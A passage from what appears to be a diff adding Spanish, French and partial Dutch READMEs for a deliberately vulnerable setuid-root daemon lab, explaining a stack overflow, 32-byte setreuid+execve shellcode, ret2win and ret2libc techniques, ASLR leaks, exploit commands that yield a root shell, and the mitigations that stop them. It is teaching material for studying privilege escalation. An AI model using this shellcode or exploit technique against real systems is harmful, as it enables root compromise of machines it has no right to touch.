| Shell root setuid en disco (`cp /bin/sh /tmp; chmod u+s`) | "Ejecútalo, consigue root." | Exactamente la defensa de arriba, y esa es la razón por la que las distros modernas no entregan ningún shell root setuid. Incluso si consigues fabricar uno, bash se niega a mantener euid 0 salvo que se inicie con `-p`. |
Lo que sigue vivo, y eso es este laboratorio: **el programa *ya* es root cuando
corre.** No necesitas el entorno ni `system()`; necesitas que el programa
ejecute *tu* código (vía un error de corrupción de memoria) mientras es
privilegiado, y que tu código sea lo bastante cuidadoso para corregir él mismo
el desajuste de uids — `setreuid(0,0)` — antes de entregarte un shell. La
corrupción de memoria + SUID es la combinación que todavía termina en `uid=0`,
y eso es exactamente por qué los lenguajes seguros en memoria, las canaries y
las pilas no-ejecutables no son una decisión de moda.
---
## 7. Las barandillas de seguridad integradas en el demonio
`foosd` es deliberadamente la *peor* pieza de software de este repositorio, así
que también lleva más barandillas:
1. **Solo loopback, impuesto.** `foosd` rechaza cualquier dirección de bind
fuera del loopback, salvo que pases `-L`. Un listener setuid-root en una
interfaz real es un servicio root remoto; el rechazo es el valor por defecto,
para que el estado peligroso tenga que escribirse deliberadamente.
2. **Autodiagnóstico.** Al arrancar registra `ruid`/`euid` y si corre como root,
para que la consola muestre el estado del que depende el exploit.
3. **El log nunca llega al cliente.** El demonio reserva un descriptor de log
privado antes de que los sockets reemplacen a fd 1, para que la salida del
crash-reporter y las rutas internas no puedan leerse de vuelta por el cable
por el atacante.
4. **Crash-reporter.** Un handler de SIGSEGV registra `RIP`/`RSP` — el valor que
el atacante escribió en la dirección de retorno — para que una toma de
control exitosa sea visible en `foosd.log` en lugar de ser una muerte
silenciosa.
5. **`make unsetuid`.** Quitar el bit está scripteado, porque dejarlo puesto es
el modo de fallo que la gente realmente tiene.
---
## 8. Mitigaciones — qué detiene cada una y qué *no* detiene
Aplicadas a `foosd` vía `make hardened`, una a una o juntas:
| Mitigación | Qué detiene | Qué *no* detiene |
|------------|---------------|-------------------------|
| `-fstack-protector-strong` (canary) | El desbordamiento: `ret` detecta una canary destruida y aborta antes de que se use la dirección del atacante. Detiene aquí **las cuatro** técnicas — comparten el único `read()` vulnerable. | Nada por *diseño*: el binario sigue siendo setuid-root; otro error (format-string-`%n`, heap-overflow, use-after-free) no tiene canary que disparar. |
| `-fPIE -pie` (ASLR para el binario) | El uso de direcciones `win()`/`win_root()` predecibles (las técnicas ret2win). | La técnica de shellcode, si todavía se filtra una dirección de pila (línea `BUF=`). |
| `-z noexecstack` (NX / W^X) | El shellcode: la CPU se niega a buscar instrucciones en una página solo-de-datos, así que un salto a `buf` es un SIGSEGV. | ROP — ejecutar código que ya existe (`ret2libc`). |
| Las tres juntas | Un binario difícil de desbordar, randomizado, con pila no ejecutable. Así se ve una build endurecida normal. | El bit setuid. **Un binario SUID endurecido sigue siendo un binario SUID.** Si sobrevive cualquier error de memoria alcanzable, sigue siendo "error en un proceso root". |
La prueba en consola es `make test-hardened`, que intercambia la build
endurecida y muestra las técnicas muriendo en la canary, mientras
`foosd_hardened.log` captura `*** stack smashing detected ***`.
Dos mitigaciones de nivel de diseño que ningún flag de compilador entrega, y
que el laboratorio principal (`food`) también usa:
- **Mínimo privilegio.** Un demonio para un puerto no privilegiado (2343 >
1024) no tiene ninguna necesidad legítima de root. Un `foosd` correcto
enlazaría y luego haría `setgroups`/`setgid`/`setuid` a una cuenta no
privilegiada y *confirmaría que se mantuvo* (la versión correcta está en la
fuente como `drop_privs()`, nunca llamada — el no-lamarlo es el error n.º 3
del laboratorio).
- **Limita el read.** `n = read(fd, buf, sizeof(buf) - 1)`. Una línea correcta
supera a todos los flags de compilador de la tabla.
---
## 9. El protocolo wire (para que puedas leer el demonio con netcat)
```text
FOOSD 1.0 - deliberately vulnerable SUID service
Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512.
FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f...
BUF=0x7ffd...
```
* `ids=euid/ruid` — no podía imprimirse como `euid=`/`ruid=`, porque el harness
de prueba prueba un shell haciendo grep del `uid=` literal, y el banner no
debe contenerlo (una sonda que comparte la firma con la respuesta es una
trampa clásica de falso positivo; ver el comentario en `foosd.c`). El harness
además exige la forma estricta de salida `id` — `uid=NNN(...)` — para que nada
de lo que imprima el demonio o el exploit pueda satisfacer la comprobación
por accidente: el propio "target euid=… ruid=…" de `foosc` contiene `uid=`
como subcadena, lo que una vez hizo que una prueba endurecida reportara un
shell que nunca había corrido.
* `stack=`, `libc=`, `BUF=` — las fugas de ASLR: dejan que el shellcode y
ret2libc calculen direcciones exactas.
---
## 10. Ejercicios
1. **Considera la degradación no-root.** Ejecuta `make test` *antes* de `make
setuid`, y luego otra vez después. Explica el cambio a `ROOT=SEEN` con la
historia ruid/euid de la §5.2.
2. **Lee el crash.** Ejecuta `./foosc -t demo -n` y luego lee `foosd.log`. La
línea `RIP=0x4141414141414141` es la basura del atacante — la prueba de que
es el desbordamiento, no el azar, quien controla la ejecución.
3. **Añade la canary.** `make hardened` y modifica tú mismo el bucle
`test-hardened`; la línea de log `*** stack smashing detected ***` es la
defensa funcionando.
4. **Desactiva la fuga.** Comenta la línea `BUF=` en `foosd.c`, recompila, y
mira `-t shellcode` pasar de determinista a un juego de adivinanzas. Esa
única línea es la razón por la que los bypass reales de ASLR son todo un
campo.
5. **El experimento `-p`.** En una copia de `win()`, cambia `execl("/bin/sh",
"sh", NULL)` por `execl("/bin/sh", "sh", "-p", NULL)` y observa root. `-p`
es la salida de emergencia documentada del guardián del shell — y la razón
por la que el consejo "solo haz spawn de un shell" de los viejos write-ups es
incompleto.
6. **¿Por qué no `setuid(0)`?** Reescribe el shellcode para llamar a `setuid(0)`
en lugar de `setreuid(0,0)` (syscall 105). El shell sigue aterrizando — y
sigue cayendo a `uid=1000`. Es el experimento de una sola línea más
instructivo de todo el repositorio.
---
## 11. Seguridad y limpieza
- Solo loopback, por defecto y por diseño; `-L` enlaza más lejos, y solo una VM
apta para tirar debería siquiera considerarlo.
- Esto es un laboratorio de shell root. No lo ejecutes en una máquina que
importe, y no apuntes `foosc -h` a algo que no poseas.
- Rito de limpieza: `make stop` y luego `make unsetuid`, y si quieres el árbol
impecable otra vez: `sudo make clean`.
```console
$ make stop
$ make unsetuid
```

404
suid/README.FR.md Normal file
View file

@ -0,0 +1,404 @@
# Lab RCE racine par SUID — `foosd` (démon) + `foosc` (exploit)
Un compagnon du laboratoire principal (`food` / `fooc`, un démon ordinaire où
un débordement de tampon vous donne un shell *utilisateur*). Celui-ci ajoute le
changement d'un seul caractère le plus dangereux d'Unix : **le bit setuid**.
> `chmod u+s` transforme « l'attaquant peut exécuter du code sur cette machine »
> en « l'attaquant peut exécuter du code en tant que **root** sur cette
> machine ».
Cette phrase, c'est tout le laboratoire. Tout ce qui suit est le mécanisme
qu'il y a dessous, écrit noir sur blanc, pour que lorsque vous écrivez votre
propre logiciel, vous sachiez précisément quels deux ou trois attributs de
système de fichiers et flags de compilateur décident si un bug de sécurité
mémoire dans votre code est une nuisance ou un shell root.
La démo finale, quand `foosd` est setuid-root, est un **shell root** ouvert sur
le réseau en exécutant 32 octets de shellcode écrite à la main.
---
## 1. Ce que fait réellement le bit setuid
Chaque processus Linux porte trois user-ID, et le bit setuid touche à la
relation entre eux :
| ID | Nom | Signification |
|----|------|---------|
| `ruid` | user-ID réel | le compte qui a *démarré* le processus |
| `euid` | user-ID effectif | ce que le noyau vérifie quand il applique les accès |
| (saved) | set-user-ID sauvegardé | un « créneau » auquel un processus privilégié peut revenir plus tard |
Un programme normal a `ruid == euid`. Quand vous exécutez un binaire avec le
bit setuid posé, appartenant à root :
```text
ruid = vous (ex. 1000, « hanez »)
euid = le propriétaire (ex. 0, « root »)
```
Le processus a donc **l'autorité de root**, même si l'utilisateur qui l'a
lancé est parfaitement ordinaire. Chaque contrôle que le noyau effectue — ce
processus peut-il lire `/etc/shadow` ? écrire un fichier ? tuer un autre
processus ? — est tranché avec `euid`, donc « oui, il est root ».
`foosd` est un démon réseau. Il lie un port puis `fork()` un enfant par
connexion. Un fork *hérite* de l'euid, donc chaque enfant qui traite une
connexion est aussi root. Le débordement dans `vulnerable_handler()` de
`foosd` est donc un débordement *à l'intérieur d'un processus root*.
**Diagnostiquez-le vous-même quand le démon tourne :**
```console
$ ./foosd ... # voyez la ligne de log qu'il affiche au démarrage
[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process
```
et depuis l'exploit :
```console
$ ./foosc -t leak
foosc: target euid=0 ruid=1000
```
---
## 2. Le lab en un coup d'œil
| Fichier | Rôle |
|------|------|
| `foosd.c` | Le démon volontairement vulnérable (propriétaire des bugs). Exécutez-le en *binaire setuid-root* pour la démo du shell root. |
| `foosc.c` | L'exploit. Utilise par défaut la technique de shellcode `setreuid + execve` de 32 octets. |
| `shellcode.S` | La shellcode de référence ; `make verify` la diff contre le tableau d'octets dans `foosc.c`. |
| `tests/pty_suid_test.c` | Harnesse de test. Conduit `foosc` à travers un pseudo-terminal et prouve à la fois « un shell a tourné » *et* « il était root » (`uid=0(`). |
| `Makefile` | Compilation, helpers `setuid`/`unsetuid`, matrice de test. |
| `README.md` | Ce fichier. |
> **Pourquoi un pty ?** La dernière action de l'exploit est de relayer votre
> terminal vers le shell qui tourne sur la victime. Un pipe ou un here-doc
> arrive du mauvais côté du relais ; un vrai terminal est requis.
---
## 3. Démarrage rapide
```console
$ make # compilez tout, en tant que votre utilisateur normal
$ make setuid # une fois, demande sudo : chown root + chmod u+s
$ make run # démarre foosd sur 127.0.0.1:2343
$ make test-suid # matrice complète ; shellcode + ret2win-root doivent donner root
```
Test de fumée interactif :
```console
$ ./foosc -t shellcode
...
foosc: target euid=0 ruid=1000
foosc: shell is on the victim (root if foosd is SUID); relaying
# id
uid=0(root) gid=0(root) groups=0(root) <-- vous êtes root, sur la victime
# exit
```
Quand vous avez fini :
```console
$ make stop
$ make unsetuid # hygiène : ne laissez jamais un binaire root SUID traîner
```
---
## 4. *Quand dois-je poser le bit SUID ?* — la réponse que vous avez demandée
Exactement **une fois, après la compilation, avant de démarrer le démon pour
les démos de shell root** — et uniquement sur une machine qui est à vous,
bonne à jeter et déconnectée du réseau :
```console
$ make # compilez foosd, foosc, les tests
$ make setuid # <-- L'INSTANT. sudo chown root:root foosd && sudo chmod u+s foosd
$ make run # démarrez APRÈS avoir posé le bit
```
Deux règles plus importantes que le moment précis :
1. **Posez-le seulement quand le binaire est fini.** Si vous recompilez
(`make` / `make clean`) après avoir posé le bit, vous tombez sur un
« Permission denied » en écrivant les fichiers de sortie appartenant à root
— et si vous forcez la recompilation, la chaîne d'outils recrée le fichier
**sans** le `s` et défait silencieusement la configuration. L'ordre
canonique à chaque recompilation est donc
```console
$ make unsetuid && make && make setuid
```
2. **Enlevez-le quand vous avez fini.** `make unsetuid`. Un binaire setuid
vivant, appartenant à root, avec un bug exploitable dans votre arborescence,
ce n'est pas un outil pédagogique, c'est un trou root avec une erreur de
compilation entre lui et rien. Sur une machine partagée ou de production :
**ne faites rien de tout cela.** Le démon refuse d'ailleurs par défaut de se
lier ailleurs qu'en loopback (voir §7).
Si vous exécutez l'exploit *sans* jamais poser le bit, rien ne casse — la
payload atterrit toujours, et vous obtenez toujours un shell. La différence
tient en un seul chiffre, et l'exploit le dit à voix haute :
```console
foosc: WARNING: the daemon is NOT running with euid 0.
The payload will still land, but the shell will be
a plain user shell, not root.
Fix: sudo make setuid
```
Le résultat « ça marche, mais pas root » fait lui-même partie du lab. Gardez-le
en tête pour la section suivante.
---
## 5. Le mécanisme — et la pirouette qui rend SUID intéressant
### 5.1 Le débordement (identique à `food`)
Le handler de `foosd` donne à un `read()` 512 octets de confiance en lui
tendant un tampon de pile de 64 octets :
```c
char buf[64];
n = read(fd, buf, 512); /* <- CWE-120 : 448 octets par-dessus le bord */
```
Sur x86-64, la pile croît vers le bas. L'exploit écrit 64 octets de bourrage
pour remplir `buf`, 8 pour remplir le pointeur de trame sauvegardé et 8 de
plus pour remplacer l'**adresse de retour sauvegardée**. Quand
`vulnerable_handler` exécute `ret`, le CPU pousse la valeur de l'attaquant
dans `RIP` — une exécution de code contrôlée par l'attaquant. L'exploit trouve
la distance exacte (88 octets pour cette compilation) en analysant la sortie
de `objdump` au lieu de la hardcoder, donc le chiffre survit aux
recompilations.
### 5.2 La pirouette : le shell refuse d'être root
Voici où penser « bug SUID → spawn /bin/sh → root » irait de travers, et
pourquoi ce lab a exactement la forme qu'il a.
Quand un programme setuid-root tourne, son `ruid` est toujours l'utilisateur
qui l'a lancé, et son `euid` est root. Si le programme — ou l'attaquant — lance
maintenant un shell :
* `execve("/bin/sh")` ne change **pas** les uids ; le nouveau processus hérite
de `(ruid=1000, euid=0)`.
* bash (et dash) **vérifie exactement cet état au démarrage**. D'après le
manuel de bash : *« If the shell is started with the effective user (group)
id not equal to the real user (group) id, and the -p option is not supplied,
… the effective user id is set to the real user id. »*
Donc le shell se regarde et *lâche root* — une défense que les auteurs de
shell ont construite précisément contre cette attaque (la justification
historique était le problème des shell setuid / scripts setuid). Le résultat,
ce sont les cas « ça marche, mais pas root » :
| Technique | Ce qu'elle exécute | uid résultant |
|-----------|------------------|---------------|
| `ret2win` | `win()` de `foosd` → `execl("/bin/sh")` | **1000** — shell atterri, root réinitialisé par bash |
| `ret2libc` | `system("/bin/sh")` → `sh -c '/bin/sh'` tout frais | **1000** — même réinitialisation, un niveau plus bas |
| `ret2win-root` | `win_root()` de `foosd` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid nettoyé depuis le C |
| `shellcode` | 32 octets : `setreuid(0,0); execve("/bin/sh")` | **0** — ruid nettoyé depuis le code machine |
Celles qui atteignent root diffèrent de celles qui ne l'atteignent pas par
exactement une idée : **elles nettoient l'uid *réel*, pas seulement
l'effectif.**
```c
setuid(0) /* met euid à 0, mais ruid reste 1000 :
bash voit toujours euid != ruid et réinitialise QUAND MÊME. */
setreuid(0, 0) /* met LES DEUX : ruid = euid = 0.
bash voit des uids égaux et garde root. */
```
C'est pourquoi la shellcode `/bin/sh` classique que vous trouvez partout sur
Internet commence par un syscall de nettoyage d'uid — et c'est pourquoi la
shellcode fait ici 32 octets au lieu de 23 : les cinq premières instructions
sont
```asm
xor edi, edi ; ruid = 0
xor esi, esi ; euid = 0
push 0x71 ; 113 = __NR_setreuid
pop rax
syscall
```
### 5.3 Alors, c'est quoi l'exploit, de bout en bout ?
1. `foosc` lit le banner de `foosd` sur la socket. Il obtient :
- `ids=0/1000` — euid/ruid (l'autodiagnostic SUID)
- `stack=…` et `libc=…` — des pointeurs (les fuites ASLR)
- `BUF=…` — l'adresse exacte du tampon qu'il s'apprête à faire déborder
2. Depuis le binaire cible (via `objdump`), il apprend `rip_off` et les
adresses de `win()` / `win_root()`.
3. Depuis *sa propre* libc (via `/proc/self/maps` + `dlsym` + un scan mémoire),
il mesure les offsets de `system`, `read`, `/bin/sh` et un gadget
`pop rdi; ret` — rien n'est hardcodé.
4. Il assemble la payload. Pour `-t shellcode`, c'est :
`[code setreuid+execve de 32 octets][bourrage jusqu'à RIP][ret-fix][adresse de buf]`.
5. Le `read()` de `foosd` déborde ; le `ret` atterrit sur la shellcode ; le
noyau exécute `setreuid(0,0)` (pas de souci : euid 0 est privilégié) puis
`execve` de `/bin/sh`. bash démarre avec `ruid == euid == 0` et reste root.
6. `foosc` relaie votre terminal vers ce shell root, jusqu'à ce que vous
tapiez `exit`.
Un détail de commodité qui coûte cher à beaucoup de gens s'il est manqué :
l'exploit teste chaque comportement de nettoyage d'uid **sans** avoir besoin du
bit setuid au préalable. Lancez `make test` avant `make setuid`, et vous verrez
chaque technique atterrir un shell avec `ROOT=MISSING` ; lancez `make test-suid`
après `make setuid`, et `ROOT=SEEN` apparaît pour les deux techniques qui
nettolent l'uid réel. Ce A/B est toute la leçon, jouée en dix secondes.
---
## 6. Les vieux one-liners — et pourquoi la plupart sont morts
Si vous avez lu sur SUID, vous avez lu sur les détournements de `PATH`, sur
`LD_PRELOAD` et sur les shells setuid. Les trois sont classiques, et les trois
échouent sur un système moderne contre *ce programme*. Ça vaut le coup de
savoir exactement pourquoi, parce que les raisons sont les défenses que vous
avez gratuitement :
| Classe d'attaque | Vieille affirmation | Pourquoi elle échoue sur une machine moderne |
|--------------|-----------|------------------------------|
| `LD_PRELOAD` d'une bibliothèque malveillante | « Le programme setuid charge mon `.so` et exécute mon code en tant que root. » | Le noyau marque un binaire setuid comme **AT_SECURE** ; glibc ignore alors `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` et compagnie. L'environnement est traité comme *entrée non fiable*. `LD_PRELOAD` contre un binaire setuid est un no-op. |
| Détournement de `PATH` (`system("ls")` avec un PATH empoisonné) | « Pointez PATH vers un répertoire avec mon faux `ls` ; le programme root l'exécutera. » | Un autre visage de la même défense : un processus AT_SECURE reçoit un **PATH assaini** (une valeur sûre par défaut, grossièrement `/usr/local/bin:/usr/bin:/bin`) pour `system()`/`execvp`, donc le répertoire empoisonné n'est jamais consulté. |
| Injection de commande `system()` setuid | « La commande injectée s'exécute avec euid 0. » | `system()` exécute la commande dans un `/bin/sh` tout frais, et ce shell — §5.2 — réinitialise `euid = ruid` au démarrage. La commande injectée s'exécute avec l'uid *réel*. (C'est toujours un bug ; ça n'escalade juste plus via `/bin/sh`.) |
| Shell root setuid sur disque (`cp /bin/sh /tmp; chmod u+s`) | « Exécute-le, obtiens root. » | Exactement la défense ci-dessus, et c'est pourquoi les distros modernes ne livrent aucun shell root setuid. Même si vous réussissez à en fabriquer un, bash refuse de garder euid 0 sauf s'il est lancé avec `-p`. |
Ce qui reste vivant, et c'est ce lab : **le programme est *déjà* root quand il
tourne.** Vous n'avez besoin ni de l'environnement ni de `system()` ; vous avez
besoin que le programme exécute *votre* code (via un bug de corruption
mémoire) pendant qu'il est privilégié, et que votre code soit assez soigneux
pour corriger lui-même le mismatch d'uid — `setreuid(0,0)` — avant de vous
tendre un shell. Corruption mémoire + SUID est la combinaison qui finit encore
en `uid=0`, et c'est exactement pourquoi les langages sûrs en mémoire, les
canaries et les piles no-execute ne sont pas une décision de mode.
---
## 7. Les garde-fous intégrés au démon
`foosd` est volontairement le *pire* morceau de logiciel de ce dépôt, alors il
porte aussi le plus de garde-fous :
1. **Loopback seulement, imposé.** `foosd` refuse toute adresse de bind hors
loopback, sauf si vous passez `-L`. Un listener setuid-root sur une vraie
interface est un service root distant ; le refus est la valeur par défaut,
pour que l'état dangereux doive être tapé délibérément.
2. **Autodiagnostic.** Au démarrage, il journalise `ruid`/`euid` et s'il
tourne en root, pour que la console montre l'état dont dépend l'exploit.
3. **Le log n'atteint jamais le client.** Le démon réserve un descripteur de
log privé avant que les sockets ne remplacent fd 1, pour que la sortie du
crash-reporter et les chemins internes ne puissent pas être relus sur le
fil par l'attaquant.
4. **Crash-reporter.** Un handler SIGSEGV journalise `RIP`/`RSP` — la valeur
que l'attaquant a écrite dans l'adresse de retour — pour qu'une prise de
contrôle réussie soit visible dans `foosd.log` au lieu d'être une mort
silencieuse.
5. **`make unsetuid`.** Retirer le bit est scripté, parce que le laisser posé
est le mode d'échec que les gens ont réellement.
---
## 8. Contre-mesures — ce que chacune arrête et ce qu'elle *n'arrête pas*
Appliquées à `foosd` via `make hardened`, une par une ou ensemble :
| Contre-mesure | Ce qu'elle arrête | Ce qu'elle *n'arrête pas* |
|------------|---------------|-------------------------|
| `-fstack-protector-strong` (canary) | Le débordement : `ret` détecte une canary écrasée et abort avant que l'adresse de l'attaquant soit utilisée. Arrête ici **les quatre** techniques — elles partagent le même `read()` vulnérable. | Rien par *conception* : le binaire est toujours setuid-root ; un autre bug (format-string-`%n`, heap-overflow, use-after-free) n'a pas de canary à déclencher. |
| `-fPIE -pie` (ASLR pour le binaire) | L'utilisation d'adresses `win()`/`win_root()` prévisibles (les techniques ret2win). | La technique shellcode, si une adresse de pile fuite encore (ligne `BUF=`). |
| `-z noexecstack` (NX / W^X) | La shellcode : le CPU refuse de chercher des instructions sur une page data-only, donc un saut vers `buf` est un SIGSEGV. | ROP — exécuter du code qui existe déjà (`ret2libc`). |
| Les trois ensemble | Un binaire difficile à déborder, randomisé, avec une pile non exécutable. Voilà à quoi ressemble une build durcie normale. | Le bit setuid. **Un binaire SUID durci reste un binaire SUID.** S'il survit un bug mémoire atteignable, c'est toujours « bug dans un processus root ». |
La preuve console, c'est `make test-hardened`, qui échange la build durcie et
montre les techniques mourir à la canary, pendant que `foosd_hardened.log`
capture `*** stack smashing detected ***`.
Deux contre-mesures de niveau conception, qu'aucun flag de compilateur ne
fournit, et que le lab principal (`food`) utilise aussi :
- **Moindre privilège.** Un démon pour un port non privilégié (2343 > 1024)
n'a aucun besoin légitime de root. Un `foosd` correct lierait puis ferait
`setgroups`/`setgid`/`setuid` vers un compte non privilégié et *confirmerait
que ça a tenu* (la version correcte est dans la source sous le nom de
`drop_privs()`, jamais appelée — le non-appel est le bug n° 3 du lab).
- **Limitez le read.** `n = read(fd, buf, sizeof(buf) - 1)`. Une ligne correcte
surpasse tous les flags de compilateur du tableau.
---
## 9. Le protocole filaire (pour que vous puissiez lire le démon avec netcat)
```text
FOOSD 1.0 - deliberately vulnerable SUID service
Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512.
FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f...
BUF=0x7ffd...
```
* `ids=euid/ruid` — ne pouvait pas être affiché comme `euid=`/`ruid=`, parce
que la harnesse de test prouve un shell en grepant le `uid=` littéral, et le
banner ne doit pas le contenir (une sonde qui partage la signature de la
réponse est un piège classique de faux positif ; voir le commentaire dans
`foosd.c`). La harnesse exige en outre la forme stricte de sortie `id` —
`uid=NNN(...)` — pour que rien de ce que le démon ou l'exploit affiche ne
puisse satisfaire le contrôle par accident : le propre « target euid=… ruid=… »
de `foosc` contient `uid=` comme sous-chaîne, ce qui a un jour fait
rapporter à un test durci un shell qui n'avait jamais tourné.
* `stack=`, `libc=`, `BUF=` — les fuites ASLR : elles permettent à la
shellcode et à ret2libc de calculer des adresses exactes.
---
## 10. Exercices
1. **Considérez la descente non-root.** Lancez `make test` *avant* `make
setuid`, puis encore après. Expliquez le passage à `ROOT=SEEN` avec
l'histoire ruid/euid de la §5.2.
2. **Lisez le crash.** Lancez `./foosc -t demo -n` puis lisez `foosd.log`.
La ligne `RIP=0x4141414141414141` est le bourrage de l'attaquant — la
preuve que c'est le débordement, pas le hasard, qui contrôle l'exécution.
3. **Ajoutez la canary.** `make hardened` et modifiez vous-même la boucle
`test-hardened` ; la ligne de log `*** stack smashing detected ***` est la
défense qui fonctionne.
4. **Désactivez la fuite.** Commentez la ligne `BUF=` dans `foosd.c`, recompilez
et voyez `-t shellcode` passer de déterministe à jeu de devinettes. Cette
seule ligne est la raison pour laquelle les vrais bypass d'ASLR sont tout un
domaine.
5. **L'expérience `-p`.** Dans une copie de `win()`, changez `execl("/bin/sh",
"sh", NULL)` en `execl("/bin/sh", "sh", "-p", NULL)` et observez root. `-p`
est la sortie de secours documentée du gardien du shell — et la raison pour
laquelle le conseil « spawn juste un shell » des vieux write-ups est
incomplet.
6. **Pourquoi pas `setuid(0)` ?** Réécrivez la shellcode pour appeler
`setuid(0)` au lieu de `setreuid(0,0)` (syscall 105). Le shell atterrit
quand même — et retombe quand même à `uid=1000`. C'est l'expérience d'une
seule ligne la plus instructive de tout le dépôt.
---
## 11. Sécurité et nettoyage
- Loopback uniquement, par défaut et par conception ; `-L` lie plus loin, et
seule une VM bonne à jeter devrait même l'envisager.
- C'est un lab de shell root. Ne le faites pas tourner sur une machine qui
compte, et ne pointez pas `foosc -h` vers quelque chose que vous ne possédez
pas.
- Rituel de nettoyage : `make stop` puis `make unsetuid`, et si vous voulez
l'arborescence impeccable à nouveau : `sudo make clean`.
```console
$ make stop
$ make unsetuid
```

398
suid/README.NL.md Normal file
View file

@ -0,0 +1,398 @@
# SUID-root-RCE-lab — `foosd` (daemon) + `foosc` (exploit)
Een begeleider van het hoofdlaboratorium (`food` / `fooc`, een gewone daemon
waar een bufferoverloop je een *gebruiker*-shell geeft). Dit voegt de
gevaarlijkste wijziging van één teken in Unix toe: **de setuid-bit**.
> `chmod u+s` verandert "de aanvaller kan code draaien op deze host" in "de
> aanvaller kan code draaien als **root** op deze host".
Die zin is het hele lab. Alles hieronder is het mechanisme eronder,
opgeschreven, zodat je wanneer je je eigen software schrijft precies weet welke
twee of drie bestandssysteem-attributen en compilerflags bepalen of een
geheugenveiligheidsbug in jouw code een ergernis of een root-shell is.
De uiteindelijke demo, wanneer `foosd` setuid-root is, is een **root-shell**
die over het netwerk wordt geopend door 32 bytes handgeschreven shellcode uit
te voeren.
---
## 1. Wat de setuid-bit daadwerkelijk doet
Elk proces op Linux draagt drie user-ID's, en de setuid-bit rommelt aan de
verhouding ertussen:
| ID | Naam | Betekenis |
|----|------|---------|
| `ruid` | reële user-ID | de account die het proces *startte* |
| `euid` | effectieve user-ID | wat de kernel controleert wanneer hij toegang handhaaft |
| (saved) | opgeslagen set-user-ID | een "spoor" waarnaar een bevoorrecht proces later kan terugkeren |
Een normaal programma heeft `ruid == euid`. Wanneer je een binair bestand
uitvoert met de setuid-bit gezet, eigendom van root:
```text
ruid = jij (bijv. 1000, "hanez")
euid = de eigenaar (bijv. 0, "root")
```
Het proces heeft dus **roots autoriteit**, ook al is de gebruiker die het
startte volkomen gewoon. Elke controle die de kernel uitvoert — kan dit proces
`/etc/shadow` lezen? een bestand schrijven? een ander proces doden? — wordt
beantwoord met `euid`, dus "ja, het is root".
`foosd` is een netwerkdaemon. Hij bindt een poort en `fork()`t daarna een kind
per verbinding. Een fork *erft* de euid, dus elk kind dat een verbinding
afhandelt, is ook root. De overloop in `foosd`s `vulnerable_handler()` is
daarom een overloop *binnenin een root-proces*.
**Diagnosticeer het zelf wanneer de daemon draait:**
```console
$ ./foosd ... # zie de logregel die hij bij de start print
[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process
```
en vanuit het exploit:
```console
$ ./foosc -t leak
foosc: target euid=0 ruid=1000
```
---
## 2. Het lab in één oogopslag
| Bestand | Rol |
|------|------|
| `foosd.c` | De bewust kwetsbare daemon (eigenaar van de bugs). Draai als *setuid-root*-binary voor de root-shell-demo. |
| `foosc.c` | Het exploit. Gebruikt standaard de 32-byte `setreuid + execve`-shellcodetechniek. |
| `shellcode.S` | De referentie-shellcode; `make verify` diff't het tegen de byte-array in `foosc.c`. |
| `tests/pty_suid_test.c` | Test-harness. Drijft `foosc` door een pseudo-terminal en bewijst zowel "er draaide een shell" *als* "die was root" (`uid=0(`). |
| `Makefile` | Build, `setuid`/`unsetuid`-helpers, testmatrix. |
| `README.md` | Dit bestand. |
> **Waarom een pty?** De laatste actie van het exploit is je terminal
> doorschakelen naar de shell die op het slachtoffer draait. Een pipe of
> here-doc komt aan de verkeerde kant van die doorschakeling terecht; een echte
> terminal is vereist.
---
## 3. Snelle start
```console
$ make # bouw alles, als je normale gebruiker
$ make setuid # één keer, vraagt om sudo: chown root + chmod u+s
$ make run # start foosd op 127.0.0.1:2343
$ make test-suid # volledige matrix; shellcode + ret2win-root moeten root geven
```
Interactieve rooktest:
```console
$ ./foosc -t shellcode
...
foosc: target euid=0 ruid=1000
foosc: shell is on the victim (root if foosd is SUID); relaying
# id
uid=0(root) gid=0(root) groups=0(root) <-- je bent root, op het slachtoffer
# exit
```
Wanneer je klaar bent:
```console
$ make stop
$ make unsetuid # hygiëne: laat nooit een root-SUID-binary achter
```
---
## 4. *Wanneer moet ik de SUID-bit zetten?* — het antwoord dat je vroeg
Precies **één keer, na het bouwen, vóór je de daemon start voor de
root-shell-demo's** — en alleen op een machine die van jou is, geschikt om weg
te gooien en losgekoppeld van het netwerk:
```console
$ make # compileer foosd, foosc, tests
$ make setuid # <-- HET MOMENT. sudo chown root:root foosd && sudo chmod u+s foosd
$ make run # start NÁ het zetten van de bit
```
Twee regels die belangrijker zijn dan het precieze tijdstip:
1. **Zet hem alleen als de binary klaar is.** Als je herbouwt (`make` /
`make clean`) nadat je de bit hebt gezet, krijg je een "Permission denied"
bij het schrijven van root-bezeten outputbestanden — en als je de herbouw
forceert, herschept de toolchain het bestand **zonder** de `s` en maak je de
opzet stilletjes ongedaan. De canonieke volgorde bij elke herbouw is daarom
```console
$ make unsetuid && make && make setuid
```
2. **Haal hem weg als je klaar bent.** `make unsetuid`. Een levende,
root-bezeten setuid-binary met een exploiteerbare bug in je boom is geen
leermiddel, het is een root-gat met een compilerfout tussen zichzelf en
niets. Op een gedeelde of productiemachine: **doe niets van dit alles.** De
daemon weigert bovendien standaard iets anders dan loopback te binden (zie
§7).
Als je het exploit *zonder* ooit de bit te zetten draait, gaat er niets
kapot — de payload landt nog steeds, en je krijgt nog steeds een shell. Het
verschil zit in één getal, en het exploit zegt het hardop:
```console
foosc: WARNING: the daemon is NOT running with euid 0.
The payload will still land, but the shell will be
a plain user shell, not root.
Fix: sudo make setuid
```
Het "werkte, maar niet root"-resultaat is zelf onderdeel van het lab. Onthoud
dat voor de volgende sectie.
---
## 5. Het mechanisme — en de twist die SUID interessant maakt
### 5.1 De overloop (identiek aan `food`)
De handler van `foosd` geeft een `read()` 512 bytes vertrouwen terwijl hij er
een 64-byte stack-buffer aan reikt:
```c
char buf[64];
n = read(fd, buf, 512); /* <- CWE-120: 448 bytes over de rand */
```
Op x86-64 groeit de stack naar beneden. Het exploit schrijft 64 bytes rommel
om `buf` te vullen, 8 om de opgeslagen framepointer te vullen en nog 8 om de
**opgeslagen retouradres** te vervangen. Wanneer `vulnerable_handler` de `ret`
uitvoert, poppt de CPU de waarde van de aanvaller in `RIP` —
